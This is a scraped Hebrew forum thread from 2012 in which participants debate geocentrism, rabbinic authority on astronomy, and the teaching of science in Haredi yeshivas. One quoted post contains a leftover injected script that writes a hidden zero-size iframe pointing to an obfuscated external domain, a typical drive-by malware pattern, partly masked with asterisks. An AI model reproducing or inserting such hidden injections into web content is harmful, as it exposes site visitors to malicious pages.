| נשלח ב-2/4/2012 19:06 |
|
| |
רק עם סכל ונבל הגוי הקטן הזה
מחאה גדולה הכותרת לקוח מלשונו הידוע של הרמב"ם בפירוש המשניות לסנהדרין, בדברו על הרושם שמשווים בעלי הגישה האנטי רציונלית לתורה. כאשר לשיטתם תחת לכתוב רק עם חכם ונבון הגוי הגדול הזה היה צריך להיכתב רק עם סכל ונבל הגוי הקטן הזה. את האשכול הזה אני פותח בעיקר להביע מחאה וזעקה גדולה על הסכלות אליו מובל הציבור החרדי לאחרונה. בביקורי האחרון בחנות הספרים נתקלתי בספר/קונטרס חדש בשם "והארץ לעולם עומדת", דרושים על סדר הילוך החמה, ובתוכו זעקה גדולה על ה"אפיקורסות, שנשתרבבה לדאבונינו לאחרונה בינינו שכבר אין מאמינים לחז"ל ומאמינם לדברי המדענים שטוענים שהארץ היא זו שסובבת את השמש ולא להיפך. בספר בעיקר דרושים השקפתיים, ובתוכו הרחבה על שיטת/שטות "הגלגל היומי" שבה השתמשו לבאר את השיטה הזו. בכך הוא מצטרף לעוד שני ספרים קודמים שאני מכיר משנים האחרונות שהולכים על דרך זה. קונטרס של הרב בלוך ממונסי, ועוד קונטרס הנספח לספר התכונה למהרח"ו. אני יודע את כל הפלפולים על כך שבאמת אין להכריע איזה צד צודק כי אין מקום מוחלט וכו', הכל טוב ויפה. אבל ברור שכתיבת ספרים כאלו מובילים אותנו יותר ויותר לקיום הייעוד של להיות עם סכל וטיפש. אולי הכי טיפשי בכל העולם המתורבת כיום. איני יודע איך ניתן לעצור את זה. כבר זמן רב אני חושב מה ניתן לעשות על מנת להוציא אותנו ולו במקצת מהבוץ שבו אנו קיימים, ולא מצאתי פתרון. אמנם עצכ"ח קיים ככר כמה שנים, ובאמת מתקיים בו דיון רציני ופתוח לפעמים, אבל הקריאה בה מסנוורת כאילו כל העולם כן, ורק אני יוצא מעט לעולם האמיתי ומביע הדעה הכי שמרנית שבעצכ'ח כבר צועקים עלי אפיקורס. מה נעשה?? ה' ירחם! כבר מזמן אני חושב שעלינו להשתמש בשפת הקנאים ממש, אם הם מקנאים קנאות טפשות התורה, וכי למה שלא נקנא את קנאת שכל התורה, ושלילת התורה כל טיפשות. אמנם הבעיה הוא שכאשר אני מנסה להשתמש בסגנון הזה מיד רואים עלי שזה רק תכסיס ולא רציני, שכן אני מודע למשמעות השפה הזאת. כנראה שרק לבלתי מודעים זה עובד. יש עצה לכך? צריך לצאת זעקה גדולה ומרה בשם קדושת התורה, עד מתי נרשה לצרי מח לזלזל בתורה כל כך, ועד מתי יהיה להם הבלעדיות על מערכות ומחאות ציבוריות. עלינו להנהיג לימודי מדעים בישיבות לא כוויתור לעולם, אלא כקיום אמיתת כוונת התורה. עלינו לחנך לסובלנות, לרוחב הדעת, לא כרפיסות אלא כהבנת אמיתת הדרכי נועם וענווה של התורה. שבענו די מכח ההשחתה שהקנאות וצרות התורה מלמדת אותנו. [תחפשו ותראו, כפי שהמקום "פרום" יותר, כך גדול הסיכוי שיזיקוך גופנית וממונית על דיבור לא כפי משטרת המחשבות.] עלינו להתחיל ללמוד את התורה לאמיתה, ולא להרשות לה להילמד בעיקר על ידי היצרים הרעים השונים. הקריאה "מי לה' אלי" צריך להיות המוטו של הרציונליסטים בדיוק כפי שהוא נשק ביד הקנאים וצרי המח. צריכים אנו ללמוד מעט מקנאי נטורי קרתא להגיד את האמת שלנו בפרצוף קבל העולם כולו ולא להתפעל משלילת ההמון. אם נצליח לבסס את קריאתנו בשם התורה, ובשמה לבד, נוכל בסופו של דבר לקנות את לב ההמון ומנהיגיו בס"ד. ולה' הישועה!
 |
|
|
|
|
| נשלח ב-3/4/2012 16:35 |
|
| |
יהיאור, לא הבנתי למה הסוגיא הזו כ"כ בוערת מבחינתך , וכי בשופטני עסקינן ? אני יכול לקבל (ועקרונית גם להיות שותף) גישה כמו של "שותפי סוד" בהקשר הזה , שדורשת ראיה חזקה מאוד כדי לסתור את דברי חכמים, גם בענינים שאינם נוגעים להלכה, וגם שכלל לא בטוח ,ואם תשאל אותי בטוח שלא , שחכמים התכוונו ללמד אותנו מדע במובן הפיסיקלי באומרם אי אלו דברים וכפי שביאר המהר"ל למשל בכגון אלו. ואני יכול גם לקבל גישה שאומרת שבעניני מדע (שאינם נוגעים ישירות להלכה) נפנה למדע אלא אם תהיה ראיה חזקה אחרת . אבל מי שלא מבין כלל את טיעוני המדע (או לחילופין את גישת המצדדים בחז"ל בכגון אלו) מה כ"כ עקרוני לעסוק בדבריו , בפרט שאין לזה השלכות של ממש לחיינו ?
אם כבר יש מקומות הרבה יותר בעייתים בהם קטנות המוחין של לומדי תורה מזיקה לחיינו, כפי מה שאמרו חכמים בענין המורה שאינו ראוי להוראה או להפך. ופשוט.
|
|
|
|
| נשלח ב-3/4/2012 15:54 |
|
| |
שותפי, מבחינת המתודולוגיה שלי זה בהחלט נכון. אני לא מתייחס לדברי חז"ל כברירת מחדל (כלומר שנדרשת הוכחה חזקה מאד כדי לסתור את דבריהם), שכן למיטב שיפוטי הם לא היו מצויידים בידע מדעי מעבר לידוע בתקופתם. לכן אני כלל לא מתחשב בדעתם כמקור סמכות, וגם אם יש נטייה קלה נגד מה שהם אומרים די לי בכך. אם הם צודקים, אז כמובן טוב מאד.
|
|
|
|
| נשלח ב-3/4/2012 14:12 |
|
| |
| יהיאור כתב: |  | שותף.
התייחסתי לטענתך בהודעתי, עיין שם.זה לא קשור למציאת חן בעיני העולם אלא לראיית התורה בטהרתה. ואני לא ראיתי בשום מקום בחז"ל הוכחה ברורה לאחד מן הצדדים. [אלא אם כן חז"ל כולל אצלך כל אחרונים ואחרוני אחרונים] גם לא בזוהר ובכתי הרב. [אם תבין עומק ענין העגולים ויושר תדע את שכתבתי. ואכמ"ל ] |
|
אדרבא, ילמדנו רבינו את עניין עיגולים ויושר ע"פ דעתו ונחכימה.
לפי תפיסתי בעניין, המבוססת על שיטת הלשם כמובן, כדור הארץ הוא במרכז העיגולים.
|
|
|
|
| נשלח ב-3/4/2012 14:09 |
|
| |
| שנרב_נ כתב: |  | כעת, אילו היו השוטים הנבערים שאתה מנסה להגן עליהם כאן מציעים מודל גלגלים מתוקן (הם הרי מאמינים במודל הגלגלים שפרטיו העיקריים נזכרו ברמב"ם וכל החולק על כך הוא אפיקורס כמובן), שמניח את ההנחות של פתולמאוס ואיך שהוא בעזרת תוספות כאלו ואחרות חוזה את מיקום הכוכבים נכונה, אז היה אולי מקום לסנגוריה שלך. אבל שנינו יודעים שלא זה המצב. כמובן שהלצים הללו לא יבזבזו דקת מנוע של נוירון בודד כדי לנסות לתקן את מודל הגלגלים: כל מה שהם עושים, עשו, ויודעים לעשות הוא לצרוח שהם צודקים, שכל האחרים רשעים, אפיקורסים ובעלי תאווה, ושלום עליך נפשי. הם מנצלים את זה שלאיש משומעי לקחם לא מזיז במאומה היכן יהיה מיקומו של כוכב פלוני ביום אלמוני, כי הטכנולוגיה של היום חוסכת מהם כל צורך לידיעה כזו.
זו, במחילה, לא יכולה להיות עמדה הראויה לכבוד, גם אם נניח כי אין מערכת ייחוס מועדפת אפילו ביחס לתאוצות. |
|
צודק, אלא שזה משום שאנשים כשרוניים כמוך (וכמו מיכי ידידנו) לא רואים צורך להכנס ולברר את הסוגיה במבט המעדיף לכתחילה את גישת חז"ל לנושא.
|
|
|
|
| נשלח ב-3/4/2012 14:05 |
|
| |
| מיימוני כתב: |  | שותף
האם השאלה על "מי במרכז" היא שאלה שהתורה אמורה לספק עליה תשובה?
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");> |
|
מובן שכאן נמצא שורש מחלוקתנו.
אני מתחיל מהשורה הראשונה של מדרש רבה בראשית ולומד שהקב"ה הסתכל באורייתא וברא עלמא.
מהיכן אתה מתחיל ?
|
|
|
|
| נשלח ב-3/4/2012 10:39 |
|
| |
לבר מזאת נראה לי שפשוט לא הבנת את הסינטתיות במשפטי חז"ל. מניין לך החוצפה לבקר את מי שדוגל במשפטי האמת שלהם?
|
|
|
|
| נשלח ב-3/4/2012 10:35 |
|
| |
החמה מהלכת בלילה למעלה מן הרקיע מן המערב למזרח וכשמגעת לחלון שזורחת ממנו לאלתר עולה עמוד השחר וחמה מהלכת בעוביו של רקיע וכשתגיע לסוף עוביו של רקיע לצד הנראה לבני אדם מיד מנצת על הארץ ומהלכת ביום כולו ממזרח למערב...וכן בשקיעה מהלכת חמה בעוביו של רקיע וכשתצא מעוביו של רקיע כולו מיד הכוכבים נראים".

http://www.bhol.co.il/forum/topic.asp?cat_id=4&topic_id=1232944&forum_id=1364&upd=1
תוקן על ידי eli_s ב- 03/04/2012 10:39:16
|
|
|
|
| נשלח ב-3/4/2012 09:18 |
|
| |
בוודאי שאינו חז"ל. [כמו כן לא בדקתי דבריו וייתכן שיש לפרשו כל שאינו סותר. בכל אופן איני מתעלם מכך שפעם חשבו כך, גם חכמי ישראל, וכעת התברר שהוא טעות. לפחות באותו מידה בו כל תיאוריה מדעית מתבררת כטעות. ואם תטען מסמכות חז"ל כתבתי מה שכתבתי, חוץ ממה ששערי פירושים לא ננעלו.
תוקן על ידי יהיאור ב- 03/04/2012 09:19:29
|
|
|
|
| נשלח ב-3/4/2012 09:14 |
|
| |
רבנו חננאל הוא אחרוני אחרונים?
|
|
|
|
| נשלח ב-3/4/2012 09:09 |
|
| |
שותף. התייחסתי לטענתך בהודעתי, עיין שם.זה לא קשור למציאת חן בעיני העולם אלא לראיית התורה בטהרתה. ואני לא ראיתי בשום מקום בחז"ל הוכחה ברורה לאחד מן הצדדים. [אלא אם כן חז"ל כולל אצלך כל אחרונים ואחרוני אחרונים] גם לא בזוהר ובכתי הרב. [אם תבין עומק ענין העגולים ויושר תדע את שכתבתי. ואכמ"ל ]
ייתכן, אין כל קשר בין הנתבאר ל"אימות" שביארתי שם, והאימות מסוג שהגדרתי בהגדרה לא שייך לגבי נתונים פיזיקליים.
בעל איני מתחשב במקורות זרים אלא מנסה להסתכל על העולם כפי שלימדוני התורה.
מיימוני
צרת רבים חצי נחמה.
|
|
|
|
| נשלח ב-3/4/2012 07:23 |
|
| |
נדב
תודה!
(נפתרה עבורי תעלומה בת שנים רבות).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
|
| נשלח ב-3/4/2012 03:49 |
|
| |
כדאי לקרוא את ספרו של אנדרה נהר על דוד גנז, תלמידם של הרמ"א והמהר"ל מפראג, שכאסטרונום היה עוזרם של טיכו ברהה ויוהנס קפלר.
|
|
|
|
| נשלח ב-3/4/2012 00:58 |
|
| |
מימוני.
זה היה נכון בתקופתו של קופרניקוס, מפני שהוא הניח שאמנם כוכבי הלכת סובבים סביב השמש אבל החזיק במחשבה שהם סובבים במעגלים שהשמש במרכזם. לכן התיאוריה שלו לא התאימה גם כן במאה אחוז לתצפיות שהוא הכיר, והוא היה צריך להכנס בכמה עקולי ופשורי אבל טען שהדחקים שלו פחות בעייתיים מאלו של השיטה הנגדית. על זה כמובן אפשר היה להתווכח ואכן התנהל ויכוח כזה במשך הרבה זמן.
כל זה היה נכון עד שבא קפלר, שהבין בסופו של דבר כי כוכבי הלכת נעים באליפסות ולא במעגלים. מרגע זה ואילך היתה לשיטתו עדיפות טכנית מוחלטת (במונחי היכולת להסביר ולחזות מסלולי כוכבים) על שיטת הגלגלים וכל בר דעת שהכיר את העובדות קיבל אותה.
|
|
|
|
| נשלח ב-3/4/2012 00:56 |
|
| |
יהי
איקון ירוק ביותר.
(עברת את טבילת האש והפכת לעצכחניק. איני יודע אם לברכך או להשתתף בצערך. ידיעה היא תהליך בלתי הפיך, בדרך כלל, ויוסף דעת יוסף מכאוב. ומכאובים רבים לצדיק. כגון שהוא רואה מאמינים בהבל וכואב לו אבל אינו מצליח למצוא את השפה לקדם אותם.)
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-3/4/2012 00:55 |
|
| |
שותף
האם השאלה על "מי במרכז" היא שאלה שהתורה אמורה לספק עליה תשובה?
האמונה שאכן כן, היא זו שדוחפת אותנו לגונן על חז"ל גם במקום שברור מאד ששגו, גם במקום שלא יכלו לדעת את האמת בגלל העדר כלים מתמטיים וטכנולוגיים (נניח טלסקופ).
אני מציע עמדה שונה משלך גם בדבר זה. המניע שלנו להעדפת הפיזיקה והאסטרונומיה החדשה הוא כזה: אין אנו (לפחות אני) באים למצוא חן בעיני העולם, אלא להיות שלמים עם עצמנו שאין אנו משקרים לעצמנו למען האידיאל של "גדלות חז"ל".
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
|